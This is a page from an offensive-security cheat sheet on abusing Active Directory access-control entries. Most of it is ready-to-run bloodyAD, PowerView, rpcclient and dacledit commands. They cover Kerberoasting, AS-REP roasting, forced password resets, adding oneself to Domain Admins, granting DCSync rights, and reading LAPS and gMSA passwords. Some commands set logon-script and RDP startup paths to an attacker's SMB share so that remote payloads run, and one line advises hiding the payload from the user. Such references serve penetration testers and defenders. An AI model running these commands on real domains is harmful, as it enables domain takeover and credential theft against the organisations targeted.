ad-adds-acl-ace.md (15027B)
1 --- 2 title: "Active Directory - Access Controls ACL/ACE" 3 section: "Active Directory" 4 sectionSlug: "active-directory" 5 sourcePath: "docs/active-directory/ad-adds-acl-ace.md" 6 sourceUrl: "https://github.com/swisskyrepo/InternalAllTheThings/blob/203bb0c0b290/docs/active-directory/ad-adds-acl-ace.md" 7 sha: "203bb0c0b290" 8 isIndex: false 9 --- 10 11 # Active Directory - Access Controls ACL/ACE 12 13 An **Access Control Entry (ACE)** is a specific permission granted or denied to a user or group for a particular resource, such as a file or directory. Each ACE defines the type of access allowed (e.g., read, write, execute) or denied. 14 15 An **Access Control List (ACL)** is a collection of Access Control Entries (ACEs) associated with a resource. 16 17 * Check ACL for an User with [ADACLScanner](https://github.com/canix1/ADACLScanner). 18 19 ```ps1 20 ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show 21 ``` 22 23 * Automate ACL exploit [Invoke-ACLPwn](https://github.com/fox-it/Invoke-ACLPwn): 24 25 ```ps1 26 ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!' 27 ``` 28 29 ## GenericAll/GenericWrite 30 31 ### User/Computer 32 33 We can set a **SPN** on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it. 34 35 * Windows/Linux 36 37 ```ps1 38 # Check for interesting permissions on accounts: 39 bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get writable --otype USER --right WRITE --detail | egrep -i 'distinguishedName|servicePrincipalName' 40 41 # Check if current user has already an SPN setted: 42 bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' get object <UserName> --attr serviceprincipalname 43 44 # Force set the SPN on the account: Targeted Kerberoasting 45 bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname -v 'ops/whatever1' 46 47 # Grab the ticket 48 GetUsersSPNs.py -dc-ip 10.10.10.10 'attack.lab/john.doe:Password123*' -request-user <UserName> 49 50 # Remove the SPN 51 bloodyAD --host 10.10.10.10 -d attack.lab -u john.doe -p 'Password123*' set object <UserName> serviceprincipalname 52 ``` 53 54 * Windows only 55 56 ```ps1 57 # Check for interesting permissions on accounts: 58 Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match "RDPUsers"} 59 60 # Check if current user has already an SPN setted: 61 PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname 62 63 # Force set the SPN on the account: Targeted Kerberoasting 64 PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'} 65 PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'} 66 67 # Grab the ticket 68 PowerView2 > $User = Get-DomainUser username 69 PowerView2 > $User | Get-DomainSPNTicket | fl 70 PowerView2 > $User | Select serviceprincipalname 71 72 # Remove the SPN 73 PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname 74 ``` 75 76 We can change a victim's **userAccountControl** to not require Kerberos preauthentication, grab the user's crackable AS-REP, and then change the setting back. 77 78 * Windows/Linux: 79 80 ```ps1 81 # Modify the userAccountControl 82 $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] add uac [Target_User] -f DONT_REQ_PREAUTH 83 84 # Grab the ticket 85 $ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file> 86 87 # Set back the userAccountControl 88 $ bloodyAD --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] remove uac [Target_User] -f DONT_REQ_PREAUTH 89 ``` 90 91 * Windows only: 92 93 ```ps1 94 # Modify the userAccountControl 95 PowerView2 > Get-DomainUser username | ConvertFrom-UACValue 96 PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose 97 98 # Grab the ticket 99 PowerView2 > Get-DomainUser username | ConvertFrom-UACValue 100 ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username 101 102 # Set back the userAccountControl 103 PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose 104 PowerView2 > Get-DomainUser username | ConvertFrom-UACValue 105 ``` 106 107 Reset another user's password. 108 109 * Windows/Linux: 110 111 ```ps1 112 # Using bloodyAD with pass-the-hash 113 bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password john.doe 'Password123!' 114 ``` 115 116 * Windows only: 117 118 ```ps1 119 # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1 120 $user = 'DOMAIN\user1'; 121 $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 122 $creds = New-Object System.Management.Automation.PSCredential $user, $pass; 123 $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 124 Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds; 125 ``` 126 127 * Linux only: 128 129 ```ps1 130 # Using rpcclient from the Samba software suite 131 rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 132 ``` 133 134 WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : 135 136 * Windows/Linux: 137 138 ```ps1 139 bloodyAD --host 10.0.0.5 -d example.lab -u attacker -p 'Password123*' set object delegate scriptpath -v '\\10.0.0.5\totallyLegitScript.bat' 140 ``` 141 142 * Windows only: 143 144 ```ps1 145 Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.bat" 146 ``` 147 148 ### Group 149 150 This ACE allows us to add ourselves to the Domain Admin group : 151 152 * Windows/Linux: 153 154 ```ps1 155 bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 add groupMember 'Domain Admins' hacker 156 ``` 157 158 * Windows only: 159 160 ```ps1 161 net group "domain admins" hacker /add /domain 162 ``` 163 164 * Linux only: 165 166 ```ps1 167 # Using the Samba software suite 168 net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP] 169 ``` 170 171 ### GenericWrite and Remote Connection Manager 172 173 > Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’. 174 > 175 > This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. - "ACE to RCE" - @JustinPerdok - July 24, 2020 176 177 :warning: The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable. 178 179 * Windows/Linux: 180 181 ```ps1 182 bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSInitialProgram -v '\\1.2.3.4\share\file.exe' 183 bloodyAD --host 10.10.10.10 -d example.lab -u hacker -p MyPassword123 set object vulnerable_user msTSWorkDirectory -v 'C:\' 184 ``` 185 186 * Windows only: 187 188 ```ps1 189 $UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld")) 190 $UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe" 191 $UserObject.TerminalServicesWorkDirectory = "C:\" 192 $UserObject.SetInfo() 193 ``` 194 195 NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment. 196 197 ## WriteDACL 198 199 To abuse `WriteDacl` to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights `Replicating Directory Changes/Replicating Directory Changes All`. 200 201 ### WriteDACL on Domain 202 203 * Windows/Linux: 204 205 ```ps1 206 # Give DCSync right to the principal identity 207 bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B add dcsync user2 208 209 # Remove right after DCSync 210 bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B remove dcsync user2 211 ``` 212 213 * Windows only: 214 215 ```ps1 216 # Give DCSync right to the principal identity 217 Import-Module .\PowerView.ps1 218 $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force 219 $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword) 220 Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 221 ``` 222 223 ### WriteDACL on Group 224 225 * Windows/Linux: 226 227 ```ps1 228 bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' add genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1 229 230 # Remove right 231 bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' remove genericAll 'cn=INTERESTING_GROUP,dc=corp' devil_user1 232 ``` 233 234 * Windows only: 235 236 ```ps1 237 # Using native command 238 net group "INTERESTING_GROUP" User1 /add /domain 239 # Or with external tool 240 PowerSploit> Add-DomainObjectAcl -TargetIdentity "INTERESTING_GROUP" -Rights WriteMembers -PrincipalIdentity User1 241 ``` 242 243 ## WriteOwner 244 245 An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they wants. 246 247 * Windows/Linux: 248 249 ```ps1 250 bloodyAD --host my.dc.corp -d corp -u devil_user1 -p 'P@ssword123' set owner target_object devil_user1 251 ``` 252 253 * Windows only: 254 255 ```ps1 256 Powerview> Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal' 257 ``` 258 259 This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group. 260 261 ## ReadLAPSPassword 262 263 An attacker can read the LAPS password of the computer account this ACE applies to. 264 265 * Windows/Linux: 266 267 ```ps1 268 bloodyAD -u john.doe -d bloody.lab -p Password512 --host 192.168.10.2 get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime 269 ``` 270 271 * Windows only: 272 273 ```ps1 274 Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime' 275 ``` 276 277 ## ReadGMSAPassword 278 279 An attacker can read the GMSA password of the account this ACE applies to. 280 281 * Windows/Linux: 282 283 ```ps1 284 bloodyAD -u john.doe -d bloody -p Password512 --host 192.168.10.2 get object 'gmsaAccount$' --attr msDS-ManagedPassword 285 ``` 286 287 * Windows only: 288 289 ```ps1 290 # Save the blob to a variable 291 $gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword' 292 $mp = $gmsa.'msDS-ManagedPassword' 293 294 # Decode the data structure using the DSInternals module 295 ConvertFrom-ADManagedPasswordBlob $mp 296 ``` 297 298 ## ForceChangePassword 299 300 An attacker can change the password of the user this ACE applies to: 301 302 * Windows/Linux: 303 304 ```ps1 305 # Using bloodyAD with pass-the-hash 306 bloodyAD --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B set password target_user target_newpwd 307 ``` 308 309 * Windows: 310 311 ```powershell 312 $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force 313 Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword 314 ``` 315 316 * Linux: 317 318 ```ps1 319 # Using rpcclient from the Samba software suite 320 rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 321 ``` 322 323 ## Organizational Units ACL 324 325 Access rights granted on Organizational Units can be exploited to compromise all the objects that are contained in it. 326 327 * [synacktiv/OUned](https://github.com/synacktiv/OUned) - The OUned project automating Active Directory Organizational Units ACL exploitation through gPLink poisoning 328 329 ### Non privileged objects 330 331 A user having the `GenericAll` right (and thus `WriteDACL` permissions) over an OU could add a `FullControl` ACE to the OU and specify that this ACE should be inherited, which will effectively lead to the compromise of all child objects since they will inherit said ACE. 332 333 * Grant `Full Control` on **SERVERS** OU 334 335 ```ps1 336 dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'username' -target-dn 'OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1' 337 ``` 338 339 * Verify that we have `Full Control` ACL on **AD01-SRV1** inside **SERVERS** 340 341 ```ps1 342 dacledit.py -action 'read' -principal 'username' -target-dn 'CN=AD01-SRV1,OU=SERVERS,DC=lab,DC=local' 'lab.local'/'username':'Password1' 343 ``` 344 345 :warning: ACE inheritance from parent objects is disabled for `adminCount=1` 346 347 ### Privileged objects 348 349 **Requirements**: 350 351 * `GenericWrite` OR `Manage Group Policy` links 352 * Create a machine account 353 * Add new DNS records 354 355 **Attack's Flow**: gPLink -> Attacker GPC FQDN -> GPT configuration files in Attacker SMB share -> execute a malicious scheduled task 356 357 * Edit the `gPLink` value to include a GPC FQDN pointing the attacker machine 358 * Create a fake LDAP server mimicking the real one, but with a custom GPC 359 * GPC's gPCFileSysPath value is pointing to the attacker SMB share 360 * The SMB share is serving GPT configuration files including a malicious scheduled task 361 362 **Exploit**: 363 364 Check this [blog post from Synacktiv](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory) to correctly setup all the requirements for this attack to succeeded. 365 366 ```ps1 367 sudo python3 OUned.py --config config.ini 368 sudo python3 OUned.py --config config.example.ini --just-coerce 369 ``` 370 371 ## References 372 373 * [ACE to RCE - @JustinPerdok - July 24, 2020](https://sensepost.com/blog/2020/ace-to-rce/) 374 * [Access Control Entries (ACEs) - The Hacker Recipes - @_nwodtuhs](https://www.thehacker.recipes/active-directory-domain-services/movement/abusing-aces) 375 * [Escalating privileges with ACLs in Active Directory - April 26, 2018 - Rindert Kramer and Dirk-jan Mollema](https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/) 376 * [Training - Attacking and Defending Active Directory Lab - Altered Security](https://www.alteredsecurity.com/adlab) 377 * [OU having a laugh? - Petros Koutroumpis - 6 November, 2019](https://labs.withsecure.com/publications/ou-having-a-laugh) 378 * [OUNED.PY: EXPLOITING HIDDEN ORGANIZATIONAL UNITS ACL ATTACK VECTORS IN ACTIVE DIRECTORY - Quentin Roland - 19/04/2024](https://www.synacktiv.com/publications/ounedpy-exploiting-hidden-organizational-units-acl-attack-vectors-in-active-directory)